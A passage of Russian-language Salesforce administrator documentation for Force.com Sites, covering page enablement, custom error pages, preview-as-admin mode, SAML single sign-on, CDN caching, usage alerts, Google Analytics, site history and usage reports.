соответствующимсайтом. Еслистраницанеотображаетсявразделе «СтраницыVisualforce
сайта», то ошибка проверки подлинности или отсутствия страницы отображается на
основе наличия страницы.

Чтобы включить страницы Visualforce для сайта, выполните указанные ниже действия.

1. Введите строку «Сайты» в поле «Быстрый поиск» вменю «Настройка» и выберите
пункт «Сайты».

2. Щелкните имя нужного сайта.

3. Нажмите кнопку «Правка» в связанном списке «Страницы Visualforce сайта».

4. Чтобы включить или выключить страницы Visualforce для сайта, воспользуйтесь
кнопками «Добавить» и «Удалить».

5. Нажмите кнопку «Сохранить».

Прим.: Страница Visualforce, выбранная для любого поля поиска на странице «Сведения о сайте», любой страницы
ошибок или параметра входа «Страница изменения пароля», включается для сайта автоматически. Страница,
удаленная из данного списка, но выбранная в одной из перечисленных выше областей, может просматриваться
общедоступными пользователями. Чтобы полностью удалить страницу сайта, отключите нужную страницу и
убедитесь, что она не выбрана в полях поиска.

Страницы Visualforce могут быть включены для всего сайта или определенных профилей.

Страница «Мой профиль»

Страница «Мой профиль» — это страница Visualforce, связанная с клиентским порталом или профилем пользователя
сайта. Страница «Мой профиль» позволяет пользователям выполнять вход на сайт Force.com или клиентский портал на
сайтах Force.comдляобновлениясобственныхконтактныхданных. Изменениеданнойстраницыинициируетобновление
соответствующих записей контактов и пользователей портала.

Страница «Мой профиль» может быть включена для всего сайта или только для профиля пользователя-гостя сайта.
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Крометого, страница «Мойпрофиль» являетсячастьюкомпонента «Приветствиеклиентскогопортала» макетаначальной
страницы.

СМ. ТАКЖЕ:

Управление стандартными страницами сайтов Force.com

Назначение страниц ошибок сайта Force.com

Управление стандартными страницами сайтов Force.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Developer Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания и
редактирования сайтов
Force.com:
• «Настройка

приложения»

Сайты Force.com используют страницы Visualforce для всех страниц ошибок и страниц
сайта. Крометого, платформаForce.comподдерживаетнекоторыестандартныестраницы,
доступные для использования.

Все страницы, которые должны отображаться на сайте, должны быть включены для
соответствующего сайта. Если страница не отображается в связанном списке
«Стандартные страницы сайта», то система Salesforce отображает ошибку «Требуется
авторизация».

Чтобы выбрать стандартные страницы, которые должны отображаться пользователям
на сайте, выполните указанные ниже действия.

1. Введите строку «Сайты» в поле «Быстрый поиск» вменю «Настройка» и выберите
пункт «Сайты».

2. Щелкните имя нужного сайта.

3. Нажмите кнопку «Правка» в связанном списке «Стандартные страницы сайта».

4. Чтобы включить или выключить перечисленные ниже стандартные страницы для
сайта, воспользуйтесь кнопками «Добавить» и «Удалить».

• Начальная страница: стандартная страница, связанная со вкладкой «Начальная
страница» (/home/home.jsp).

• Страницыидей: стандартныестраницы, связанныесидеями. Чтобыиспользовать
стандартные страницы идей (например, IdeasHome), включите данные страницы.

• Страницы ответов: стандартные страницы, связанные с ответами. Чтобы использовать стандартные страницы
ответов (например, AnswersHome), включите данные страницы.

• Страницы поиска: стандартные страницы поиска Salesforce. Чтобы разрешить общедоступным пользователям
выполнение стандартных поисков, включите данные страницы.

• Страницы поиска: стандартные страницы поиска Salesforce. Данные страницы являются всплывающими окнами,
связанными с полями поиска на страницах Visualforce.

5. Нажмите кнопку «Сохранить».

Прим.: Убедитесь, чтостраницысайта, которыевнастоящеевремяиспользуютсянеактивно, отключены. Впротивном
случае данные страницы могут просматриваться общедоступными пользователями. Чтобы ограничить доступ
пользователей к поискам, рекомендуем выбрать параметр общего доступа «Личный».

СМ. ТАКЖЕ:

Управление страницами Visualforce сайтов Force.com

Назначение страниц ошибок сайта Force.com
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Назначение страниц ошибок сайта Force.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Developer Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания и
редактирования сайтов
Force.com:
• «Настройка

приложения»

Сайты Force.com используют страницы Visualforce для всех страниц ошибок и страниц
сайта. Типовые страницы ошибок используют статический ресурс SiteSamples для
таблицы стилей и изображений.

Внимание: Переименованиеилиудаление статическогоресурса SiteSamples может
инициировать ошибку.

Чтобы задать страницы ошибок для сайта, выполните указанные ниже действия.

1. Введите строку «Сайты» в поле «Быстрый поиск» вменю «Настройка» и выберите
пункт «Сайты».

2. Щелкните имя нужного сайта.

3. Нажмитекнопку«Назначениестраницы»в связанномсписке «Страницыошибок».

4. Назначьте страницу Visualforce или статический ресурс для каждого стандартного
ошибочного условия посредством полей поиска.

• «Страница "Требуется авторизация"»: страница, отображаемая пользователям
при попытке доступа к недоступным страницам.

• «Страница "Превышение ограничения"»: страница, отображаемаяпользователям
при превышении ограничения для пропускной способности.

• «Страница "На обслуживании"»: страница, отображаемая пользователям при
обслуживании сайта.

• «Страница "Служба недоступна"»: страница, отображаемаяпользователямпринедоступностисерверовSalesforce.
Даннаянастраиваемая страница генерируется выбраннымстатическимресурсом. Статическийресурс загружается
насерверкэшированияприназначениивкачествестраницы «Службанедоступна» иобновлениипосленазначения.
Настраиваемая страница отображается только для запросов HTTP; кэширование не используется для HTTPS.
Настраиваемая страница не поддерживается безопасными организациями и организациями Developer Edition.

Еслипользовательне задаетнастраиваемуюстраницудлясайта, использующегопрефикссайта, тонастраиваемая
страница для корневого сайта используется при недоступности серверов. Например, настраиваемая страница,
используемая сайтом http://moyakompaniya.force.com, используется при отсутствии настраиваемой
страницы для сайта http://moyakompaniya.force.com/sales. В противном случае система отображает
страницу «На обслуживании».

Прим.: Статический ресурс:

– Должен быть общедоступным архивнымфайлом размером не более 1 Мб.

– Долженсодержатьстраницу maintenance.html накорневомуровнеархивногофайла. Другиересурсы
архивногофайла (например, изображенияилифайлы CSS) могутнаследоватьструктурулюбогокаталога.

– Должен содержать только файлы с расширениями.

• «Страница "Страница не найдена"»: страница, отображаемая пользователям при попытке доступа к странице,
которая не может быть найдена. Чтобы перенаправить страницу ошибок «Страница не найдена», воспользуйтесь
атрибутом action длякомпонента <apex:page>. Использованиеданноготипапереадресациинадругихстраницах
ошибок инициирует переадресацию пользователей на страницу «На обслуживании».

• «Страница "Общая ошибка"»: страница, отображаемаяпользователямпривозникновенииобщихисключений.

Прим.: Если статические ресурсы используются на странице настраиваемой ошибки (например, большой
графический файл или большойфайл CSS, доступный в архивномфайле статических ресурсов), то размер
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каждогоресурсане долженпревышать 50 Кб. Впротивномслучае системаотображаетошибку «404 (ненайдено)»
для данного ресурса.

5. Нажмите кнопку «Сохранить».

6. Чтобы открыть связанную страницу для предварительного просмотра, щелкните «Предварительный просмотр»
на странице «Сведения о сайте».

Совет: Чтобы просмотреть подробные сообщения об ошибках сайта в режиме предварительного просмотра в
качестве администратора, добавьте компонент <site:previewAsAdmin /> прямо перед закрывающим тегом
</apex:page> на настраиваемых страницах ошибок Visualforce.

СМ. ТАКЖЕ:

Управление страницами Visualforce сайтов Force.com

Управление стандартными страницами сайтов Force.com

Устранение неполадок Force.com Sites посредством режима предварительного просмотра в качестве
администратора

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания и
редактирования сайтов
Force.com:
• «Настройка

приложения»

Доступно в версиях: Developer Edition, Enterprise Edition, Performance Edition и
Unlimited Edition.

Чтобы просмотреть общие и подробные сведения об ошибках, обнаруженных на
страницах сайта, рекомендуем воспользоваться режимомпредварительного просмотра
в качестве администратора.

Прим.: Режимпредварительного просмотра в качестве администратора доступен
для всех активных сайтов, включая сайты, использующиефирменный
настраиваемый веб-адрес.

Чтобы воспользоваться режимом предварительного просмотра в качестве администратора, выполните указанные ниже
действия.

1. Введите строку «Сайты» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Сайты».

2. Щелкните имя нужного сайта.

3. Щелкнитессылку «Предварительныйпросмотрвкачествеадминистратора» вразделе «Сведенияосайте». Данное
действиеоткрываетпредварительныйпросмотр сайта вновомокнеобозревателя, аподробное сообщениеобошибке
отображается внизу страницы.

4. Чтобы удалить cookie-файлы администратора и открыть начальную страницу сайта, щелкните «Выход из режима
предварительного просмотра в качестве администратора».

Подробные сообщенияобошибках в режимепредварительногопросмотра в качестве администратора контролируются
компонентом <site:previewAsAdmin /> на страницахошибокVisualforce. Начиная с выпуска Summer'10 компонент
<site:previewAsAdmin /> по умолчанию добавляется на стандартные страницы ошибок для новых организаций.
Компонент должен быть вручную добавлен на все настраиваемые страницы ошибок и страницы давних организаций.
Рекомендуем добавить компонент прямо перед закрывающим тегом </apex:page>. См. пример ниже.

<site:previewAsAdmin />
</apex:page>
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Прим.: Компонент <site:previewAsAdmin /> содержит тег <apex:messages />, поэтому повторное
использование данного тега на страницах ошибок дважды возвращает подробное сообщение об ошибке.

СМ. ТАКЖЕ:

Создание и редактирование Force.com Sites

Назначение страниц ошибок сайта Force.com

Включение единой регистрации для сайтов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Developer Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания и
редактирования сайтов
Force.com:
• «Настройка

приложения»

Единая регистрация — это процесс, предоставляющий пользователям сети доступ ко
всем авторизованным сетевым ресурсам без выполнения входа на каждый отдельный
ресурс. Функция единой регистрации позволяет проверять имена пользователей и
пароли посредством корпоративной базы данных пользователей или любого другого
клиентского приложения взамен использования разных паролей, контролируемых
системой Salesforce.

Сайты поддерживают функцию единой регистрации SAML, позволяющую клиентам
вводить учетные данные только один раз.

Чтобы включить функцию единой регистрации для сайтов посредством поставщика
удостоверений, выполните указанные ниже действия.

1. Настройте клиентский или партнерский портал.

2. Настройте сайты.

3. Прииспользованииклиентскогопорталанастройтеподдержкуклиентскогопортала
на сайтах.

4. Помимо сведений об единой регистрации SAML, которые должны быть собраны и
отправленыпоставщикуудостоверений, пользовательдолженсообщитьпоставщику
информации указанные ниже сведения.

• Код организации

• Код портала

• URL-адрес сайтов

Ниже перечислены атрибуты, которые должны быть добавлены в утверждение SAML, отправленное поставщиком
удостоверений.

• organization_id

• portal_id

• siteurl

Чтобы найти данные значения, выполните указанные ниже действия.

a. Введите строку «Сведения о компании» в поле «Быстрый поиск» в меню «Настройка», затем выберите пункт
«Сведения о компании» и скопируйте код из поля «Код организации Salesforce».

b. Чтобынастроить клиентскийпортал, введите строку «Параметры клиентского портала» вполе «Быстрый поиск»
в меню «Настройка», затем выберите «Параметры клиентского портала». После этого щелкните по имени
клиентского портала и скопируйте код из поля «Код портала».
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Чтобынастроитьпартнерскиепорталы, введитестроку «Партнеры» вполе «Быстрый поиск» вменю «Настройка»,
затем выберите пункт «Параметры». После этого щелкните по имени партнерского портала и скопируйте код
из поля «Код портала Salesforce».

c. Введите строку «Настраиваемые URL-адреса» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт
«Настраиваемые URL-адреса».

SAML для сайтов, инициированный поставщиком услуг

Есливходинициируетсякорпоративнымпоставщикомудостоверений, то система Salesforce автоматическиподдерживает
единую регистрацию для сайтов посредством SAML.

Чтобы использовать SAML для сайтов при инициировании входа поставщиком услуг, рекомендуем сначала создать
страницу Visualforce, поддерживающую переадресацию на сервер. См. пример ниже.

<apex:page showHeader="false" sidebar="false">
<script>

var PingSpURL =
"https://my.pingserver.com:9031/idp/startSSO.ping?PartnerSpId=salesforce.com.sp";

var siteLoginPage =
"&TargetResource={!$Site.CurrentSiteUrl}siteLogin?startUrl={!$Site.OriginalUrl}";

window.location = PingSpURL+siteLoginPage;
</script>
</apex:page>

Кэширование страниц Force.com Sites

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Developer Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

Сайты Force.com применяют два круглосуточных ограничения (по пропускной
способности и времени запроса на обслуживание), которые определяются типом
организации. Несмотря на большие ограничения для активных производственных
организаций, сайт может превысить установленное ограничение из-за интенсивного
трафика или страниц, требующих повышенной пропускной способности или
дополнительного времени обработки. «Истекшие сутки» — это последние 24 часа,
предшествующие текущему времени.

Сайты поддерживают параметры кэширования, позволяющие использовать ресурсы
нашего партнера CDN для сокращения времени загрузки страниц и повышения
производительности сайтов, а также для предотвращения возможного превышения
установленных ограничений. Сайты позволяют задавать продолжительность
кэширования для каждой страницы сайта и оптимизировать процесс доставки содержимого конечным пользователям.

Чтобыконтролировать алгоритмкэширования сайта, рекомендуем задать логическийатрибут cache ицелочисленный
атрибут expires на каждойстраницеVisualforce. Поумолчаниюстраницыбез атрибута cache кэшируютсяна 10 минут
(600 секунд).

Ниже приведен пример страницы, которая должна храниться в кэше в течение 15 минут.

<apex:page cache="true" expires="900">

Прим.:  CDN поддерживается только активными производственными организациями. CDN не поддерживается
безопасными организациями и организациями Developer Edition.

Чтобы защитить целостность конфиденциальной информации, сеансы SSL и страницы, запрошенные после
проверки подлинности, не кэшируются посредством CDN.
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Вложения для общедоступных страниц, доступные посредством сайтов, автоматически кэшируются на 10 минут
посредством CDN.

Кроме того, алгоритм кэширования определяется другими факторами (например, тип пользователя, открывающего
страницу, принадлежность запроса серверу кэшированияиподдержка входана сайт). Таблицанижеописывает алгоритм
кэширования для каждого перечисленного фактора.

Для запросов, которые отправляются сервером кэширования
Если сайт поддерживает функцию входа:

Область кэшированияАлгоритм кэшированияАтрибут кэша

Только сервер кэшированияВремя кэширования определяется
пользователем

Задано значение «ИСТИНА»

Только сервер кэшированияВремя кэширования составляет
10 минут

Не задано

НетНе кэшируетсяЗадано значение «ЛОЖЬ»

Если сайт не поддерживает функцию входа:

Область кэшированияАлгоритм кэшированияАтрибут кэша

Сервер кэширования и обозревательВремя кэширования определяется
пользователем

Задано значение «ИСТИНА»

Сервер кэширования и обозревательВремя кэширования составляет
10 минут

Не задано

НетНе кэшируетсяЗадано значение «ЛОЖЬ»

Для запросов, которые не отправляются сервером кэширования
Если сайт поддерживает функцию входа:

Область кэшированияАлгоритм кэшированияАтрибут кэша

НетНе кэшируетсяЗадано значение «ИСТИНА»

НетНе кэшируетсяНе задано

НетНе кэшируетсяЗадано значение «ЛОЖЬ»

Если сайт не поддерживает функцию входа:

Область кэшированияАлгоритм кэшированияАтрибут кэша

Только обозревательВремя кэширования определяется
пользователем

Задано значение «ИСТИНА»
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Область кэшированияАлгоритм кэшированияАтрибут кэша

Только обозревательВремя кэширования составляет
10 минут

Не задано

НетНе кэшируетсяЗадано значение «ЛОЖЬ»

СМ. ТАКЖЕ:

Просмотр журнала круглосуточного использования Force.com Sites

Ограничения и выставление счета для Force.com Sites

Использование бизнес-правил для Force.com Sites

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Developer Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания илиизменения
бизнес-правил:
• «Настройка

приложения»

Для создания и
редактирования сайтов
Force.com:
• «Настройка

приложения»

Система позволяет создавать бизнес-правила, инициирующие электронные
предупрежденияпривыполнениинекоторыхкритериев, связанныхс сайтом. Например,
организацияможет создатьправило, отправляющееадминистратору сайта электронное
предупреждение при достижении 80% от ежедневного ограничения для пропускной
способности или деактивации сайта.

Настройка корректных бизнес-правил по использованию сайтов позволяет
пользователям избегать превышения круглосуточных ограничений для пропускной
способности и времени запроса на обслуживание и ежемесячных ограничений для
просмотров страниц и входов. Бизнес-правила, созданные для объекта «Сайт»,
оцениваются каждый час для всех сайтов организации, если не выбраны отдельные
сайты. Бизнес-правила, созданные для объектов «Организация» и «Лицензия
пользователя», оцениваются каждые три часа.

Бизнес-правилапоиспользованиюсайтовподдерживаюттолькодействияэлектронного
предупреждения. Другиедействиябизнес-правил (например, обновленияполей, задачи
и исходящие сообщения) недоступны.

Чтобы создать бизнес-правило использования сайта, создайте бизнес-правило со
следующими параметрами.

Выбрать объект
При выборе объекта выберите один из указанных ниже параметров.

• «Организация»  (для полей допустимого и использованного ежемесячного
количества просмотров страниц)

• «Сайт»  (для полей сведений о сайте, ежедневной пропускной способности,
времени запроса, допустимого ежемесячного количества просмотров страниц и
т. д.)

• «Лицензия пользователя»  (для полей допустимого и использованного ежемесячного количества входов)

Объекты «Организация» и «Сайт» доступны только при использовании сайтов Force.com в организации. Объект
«Лицензия пользователя» не зависит от сайтов и доступен только при использовании клиентских или партнерских
порталов в организации.

Критерии правила
Чтобы задать критерии правила, выполните одно из указанных ниже действий.
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• Выберите параметр «критерии выполняются», а затем укажите критерий фильтрации, которому должен
соответствовать сайт для выполнения правила. Например, чтобы инициировать правило при каждом изменении
активного статуса сайта организации, задайте фильтр «"Статус сайта" не равно "Активно"». Чтобы добавить
строки или настроить логические условия, щелкните ссылку «Добавить логикуфильтра».

• Выберите параметр «значение формулы оценивается как истинное» и введите формулу. Если формула
возвращает значение «Истина», то система инициирует выполнение правила.

Например, формуланижеинициируетправилопридостижении 80% отежедневногоограничениядляпропускной
способности.

DailyBandwidthUsed >= 0.8 * DailyBandwidthLimit

В примере ниже формула инициирует правило при достижении 80% от ежедневного ограничения для времени.

DailyRequestTimeUsed >= 0.8* DailyRequestTimeLimit

Действия бизнес-правила
Придобавлениидействийбизнес-правиланажмитекнопку «Добавитьдействиебизнес-правила»ивыберитепункт
«Создать электронное предупреждение» на странице 4791 или «Выбрать текущее действие».

Совет: Чтобы создать настраиваемые шаблоны эл. почты с использованием полей слияния Site, в меню
«Настройка» введите «Шаблоны эл. почты» в поле «Быстрый поиск», затем выберите «Шаблоныэл. почты»
и «Создатьшаблон». Чтобы использовать поля слияния Site при настройке шаблона, выберите пункт «Поля
сайта» в раскрывающемся списке «Выбрать тип поля» раздела «Доступные поля слияния».

СМ. ТАКЖЕ:

Общие сведения о Force.com Sites

Отслеживание сайта Force.com посредством Google Analytics

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Developer Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания и
редактирования сайтов
Force.com:
• «Настройка

приложения»

Сайты Force.com поддерживают стандартную интеграцию со службой Google Analytics.
Служба Google Analytics позволяет отслеживать использование сайтов и страниц сайта,
включая количество посетителей, количество просмотров страниц, среднее время
нахождения на сайте и многое другое.

Прим.: Компонент <site:googleAnalyticsTracking/> поддерживается
только страницами, используемыми на сайте Force.com. Организация должна
поддерживать сайты, а поле «Код отслеживания аналитики» должно быть
заполнено. Чтобы получить код отслеживания, откройте веб-сайт Google Analytics.

Чтобы отслеживать сайт посредством Google Analytics, выполните указанные ниже
действия.

1. Зарегистрируйте аккаунт в службе Google Analytics.

2. Добавьте новый профиль в службу Google Analytics и введите домен или полный
URL-адрес нужного сайта.

3. Скопируйте значение поля «Идентификатор веб-ресурса» в сведениях о статусе
отслеживания Google и вставьте его в поле «Код отслеживания аналитики» на
странице «Редактирование сайта» для нужного сайта. Идентификатор веб-ресурса
содержит буквы UA, номер аккаунта и номер профиля. Например, UA-9049246-2.

4. Нажмите кнопку «Сохранить».
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5. Чтобы отслеживать страницы Visualforce, связанные с сайтом, введите указанный ниже тег вшаблон сайта для данных
страниц или на отдельные страницы.

<site:googleAnalyticsTracking/>

Страницы, которыене содержат тегаине связанысшаблономсайта, содержащимтег, неотслеживаются. Стандартный
шаблон сайта уже содержит тег, поэтому все страницы, использующие данныйшаблон, подлежат отслеживанию,
включая некоторые стандартные страницы.

Прим.: Воизбежаниеувеличениявременизагрузкистраницы, компанияGoogleрекомендуетдобавлятькомпонент
в нижнюю часть страницы.

6. Откройте сайтGoogle Analytics ивыполните указанныеинструкции. Первыерезультатыотслеживания в службеGoogle
Analytics могут быть просмотрены в течение 24 часов после завершения регистрации.

Совет: Чтобыотслеживатьразныесайты, рекомендуемсоздатьотдельныепрофилипосредствомполных URL-адресов
сайта и указать другой идентификатор веб-ресурса в поле «Код отслеживания аналитики» для каждого сайта.

СМ. ТАКЖЕ:

Управление Force.com Sites

Создание и редактирование Force.com Sites

Просмотр журнала круглосуточного использования Force.com Sites

Создание отчетов по Force.com Sites

Просмотр журнала сайта Force.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Developer Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания и
редактирования сайтов
Force.com:
• «Настройка

приложения»

Чтобы просмотреть журнал сайта, выполните указанные ниже действия.

1. Введите строку «Сайты» в поле «Быстрый поиск» вменю «Настройка» и выберите
пункт «Сайты».

2. Щелкните имя нужного сайта.

3. Просмотрите связанный список «Журнал сайта».

Связанный список «Журнал сайта» отслеживает и отображает изменения, внесенныена
сайт. Журнал сайта отслеживает все перечисленные ниже события, а также автора и
время изменения.

ОписаниеСобытие

Регистрация времени создания каждого
сайта.

Создание сайта

Регистрация изменений, внесенных в
перечисленные ниже значения.

Изменения сведений о сайте

• Метка сайта

• Имя сайта

• Описание сайта

• Контакт для сайта

• Стандартный веб-адрес
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ОписаниеСобытие

• Настраиваемый веб-адрес

• Активный статус

• Активная начальная страница сайта

• Неактивная начальная страница сайта

• Шаблон сайта

• Robots.txt сайта

• Избранный значок сайта

• Код отслеживания аналитики

• Включить каналы

Регистрация времени включения или выключения любой
стандартной страницы.

Стандартные страницы сайта

Регистрация времени изменения назначения любой
страницы ошибок.

Страницы ошибок сайта

Регистрацияизменений, внесенныхвперечисленныениже
параметры входа.

Изменения параметров входа

• Портал

• Страница изменения пароля

• Требовать небезопасные подключения (HTTP)

Регистрация времени создания, удаления, включения,
выключения или изменения любой переадресации
URL-адреса.

Изменения переадресаций URL-адресов

СМ. ТАКЖЕ:

Общие сведения о Force.com Sites
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Просмотр журнала круглосуточного использования Force.com Sites

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Developer Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания и
редактирования сайтов
Force.com:
• «Настройка

приложения»

Данный связанный список содержит сведения об использовании, позволяющие
контролироватьпоказателииспользованияпропускнойспособностиивременизапроса
для каждого сайта. Внимательноеотслеживаниесайтовпозволяетизбежатьпревышения
установленных ограничений.

Чтобы просмотреть журнал круглосуточного использования для сайта, выполните
указанные ниже действия.

1. Введите строку «Сайты» в поле «Быстрый поиск» вменю «Настройка» и выберите
пункт «Сайты».

2. Щелкните имя нужного сайта.

3. Просмотритесвязанныйсписок «Журналкруглосуточногоиспользования». Сведения
об использовании могут быть отображены через несколько минут по причине их
обработки.

Ниже перечислены показатели использования сайта, отслеживаемые и отображаемые
в связанном списке «Журнал круглосуточного использования».

Способ вычисленияПоказатель

«Пропускная способность» — это количествомегабайт, переданных
и принятых сервером-источником сайта. Параметр «Ежедневное
ограничение» применяется к истекшим суткам.

Пропускная
способность
сервера-источника

«Время запроса на обслуживание» — это общее время сервера (в
минутах), необходимое для создания страниц сайта.Параметр
«Ежедневное ограничение» применяется к истекшим суткам.

Время запроса

«Сервер-источник» — это веб-сервер, используемый для размещения сайта. «Истекшие сутки» — это последние 24 часа,
предшествующие текущему времени.

Связанный список отображает параметры «Текущее использование», «Ежедневное ограничение» и «Процент
использования» для каждого показателя.

СМ. ТАКЖЕ:

Отслеживание сайта Force.com посредством Google Analytics

Создание отчетов по Force.com Sites
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Создание отчетов по Force.com Sites

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Developer Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для установки пакетов:
• «Загрузка пакетов

AppExchange»

Для запуска отчетов:
• «Запуск отчетов»

И

«Чтение» для записей,
добавленных в отчеты

Для создания,
редактирования, сохранения
и удаления отчетов:
• «Запуск отчетов» и

«Чтение» для записей,
добавленных в отчеты

И

«Создание и настройка
отчетов»

Для создания,
редактирования и удаления
панелей мониторинга:
• «Запуск отчетов»

И

«Управление панелями
мониторинга»

Чтобы отслеживать активность и использование сайтов, рекомендуем установить
управляемый пакет «Создание отчетов по использованию сайтов», позволяющий
анализироватьежемесячныепросмотрыстраниц, ежедневнуюпропускнуюспособность
и время ежедневных запросов на обслуживание. Полученные результаты позволяют
пользователям избежать превышения установленных ежемесячных и ежедневных
ограничений для отдельных сайтов и организации.

Чтобы начать использование отчетов и панелей мониторинга в приложении Salesforce
для сайтов, выполните указанные ниже действия.

1. Установите управляемый пакет «Создание отчетов по использованию сайтов».

2. Чтобы проанализировать использование сайтов, воспользуйтесь отчетами пакета.

3. При необходимости создайте настраиваемые отчеты для анализа использования
сайтов.

4. Чтобы отслеживать сайты, воспользуйтесь панелью мониторинга «Использование
сайтов».

Установка управляемого пакета «Создание отчетов по использованию
сайтов»
Управляемыйпакет «Созданиеотчетовпоиспользованиюсайтов», доступныйвкаталоге
AppExchange, содержит стандартные отчеты и панель мониторинга для отслеживания
показателей использования сайтов.

Использование отчетов пакета для анализа использования сайтов
Управляемый пакет «Создание отчетов по использованию сайтов» содержит
перечисленные ниже отчеты для сайтов организации. Данные отчеты хранятся в папке
«Отчеты по использованию сайтов» в разделе «Все отчеты» вкладки «Отчеты». При
необходимости выберите папку «Отчеты по использованию сайтов» в
раскрывающемся списке «Папка» и нажмите кнопку «Начать».

Прим.: Данные по использованию сайтов собираются в полночь (по Гринвичу),
поэтому, в зависимости от часового пояса пользователя, отчеты могут содержать
неточное количество просмотров страниц за текущий день. Просмотры страниц
сервера кэширования могут быть отражены в отчетах через несколько дней.

ОписаниеОтчет

Данный отчет отображает общее количество просмотров
страниц за текущий период (календарный месяц)
относительно максимально допустимого количества
просмотров страниц. Просмотры страниц сортируются по

Просмотры страниц за
текущий период

сайтуи дате. Ограничение текущегопериодаприменяется ко
всем сайтам организации.
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ОписаниеОтчет

Данный отчет отображает общее использование пропускной способности за
последние 30 дней; данные сортируются по сайту, дате, серверу-источнику и серверу
кэширования.

Общее ежедневное
использование пропускной
способности

Данный отчет отображает общее количество просмотров страниц за последние
30 дней; данные сортируются по сайту, дате, серверу-источнику и серверу
кэширования.

Общие ежедневные просмотры
страниц

Данный отчет отображает общее использование пропускной способности
сервера-источника за последние 30 дней; данные сортируются по сайту и дате.

Ежедневное использование
пропускной способности
сервера-источника сайта

Данныйотчетотображаетобщеевремязапросанаобслуживаниесервера-источника
за последние 30 дней; данные сортируются по сайту и дате.

Ежедневное использование
времени запроса сайта

Данный отчет отображает сайты, отличающиеся наибольшей пропускной
способностью за текущий период.

Сайты, расходующие
наибольшую пропускную
способность

Данный отчет отображает сайты, отличающиеся наибольшим временем запроса на
обслуживание за текущий период.

Сайты, расходующие
наибольшие ресурсы

Данный отчет отображает сайты, отличающиеся наибольшим количеством
просмотров страниц за текущий период.

Популярные сайты по
просмотрам страниц

Создание настраиваемых отчетов для анализа использования сайтов
Чтобы создать настраиваемые отчеты по сайтам, выполните указанные ниже действия.

1. Нажмите кнопку «Создать отчет» на вкладке «Отчеты».

2. Выберите типотчета «Административныеотчеты», затем выберите «Отчетыпоиспользованиюсайтов». Чтобы
получитьдоступк типунастраиваемогоотчета «Отчетыпоиспользованиюсайтов», рекомендуемвключитьподдержку
сайтов и установить управляемый пакет «Создание отчетов по использованию сайтов».

3. Чтобы создать настраиваемый отчет, нажмите кнопку «Создать». Настраиваемый отчет может содержать все поля,
связанныессайтами (например, «Имя сайта», «Статус сайта», «Ежедневное ограничение пропускной способности»
и «Ежедневное ограничение по времени запроса»).

Прим.: При создании собственных настраиваемых отчетов посредством типа настраиваемого отчета «Отчеты по
использованиюсайтов» помните, что столбец «Пропускная способность сервера-источника» отображает данные
в байтах, а столбец «Время запроса» отображает данные в миллисекундах. Убедитесь, что различия в единицах
измеренияучитываютсяприсопоставленииданныхстолбцовсостолбцами «Ежедневное ограничение пропускной
способности» и «Ежедневное ограничение по времени запроса», которые отображают данные в мегабайтах и
минутах.

Стандартные отчеты управляемого пакета отображают пропускную способность в мегабайтах, а время запроса —
в минутах.
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Использование панели мониторинга «Использование сайтов» для отслеживания сайтов
Управляемый пакет «Создание отчетов по использованию сайтов» содержит панель мониторинга «Использование
сайтов», позволяющуюбыстроотслеживать сайтыворганизации. Панельмониторинга содержиткомпонентдля каждого
отчета, добавленного в управляемый пакет.

Чтобы открыть панель мониторинга, откройте вкладку «Панели мониторинга» и выполните указанные ниже действия.

• Воспользуйтесь полем «Просмотр панели мониторинга».

• Илищелкните ссылку «Перейти к списку панелей мониторинга» и выберите пункт «Панель мониторинга
"Использование сайтов"» в списке панелей мониторинга.

Чтобыизменить панель мониторинга, щелкните «Правка». Принеобходимости создайте собственнуюнастраиваемую
панель мониторинга на основе любого созданного настраиваемого отчета. Рекомендуем добавить панель мониторинга
«Использование сайтов» в качестве снимка панели мониторинга на начальную страницу.

СМ. ТАКЖЕ:

Просмотр журнала круглосуточного использования Force.com Sites

Отслеживание сайта Force.com посредством Google Analytics

Безопасность Force.com Sites

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Developer Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

Ниже перечислены рекомендации по настройке сайта Force.com.

• Если флажок «Требовать безопасные подключения (HTTPS)» установлен на
странице «Параметры сеанса», а флажок «Требовать небезопасные подключения
(HTTP)» отсутствует на странице «Параметры входа», то пользователям,
выполняющим вход на связанный портал посредством сайта, отображается домен
secure.force.com. Например, при регистрации настраиваемого домена
moyakompaniya.force.com используется следующий URL-адрес входа:
https://moyakompaniya.secure.force.com.Дополнительнуюинформацию
см. в разделе «Управление параметрами регистрации и входа на сайтах Force.com».

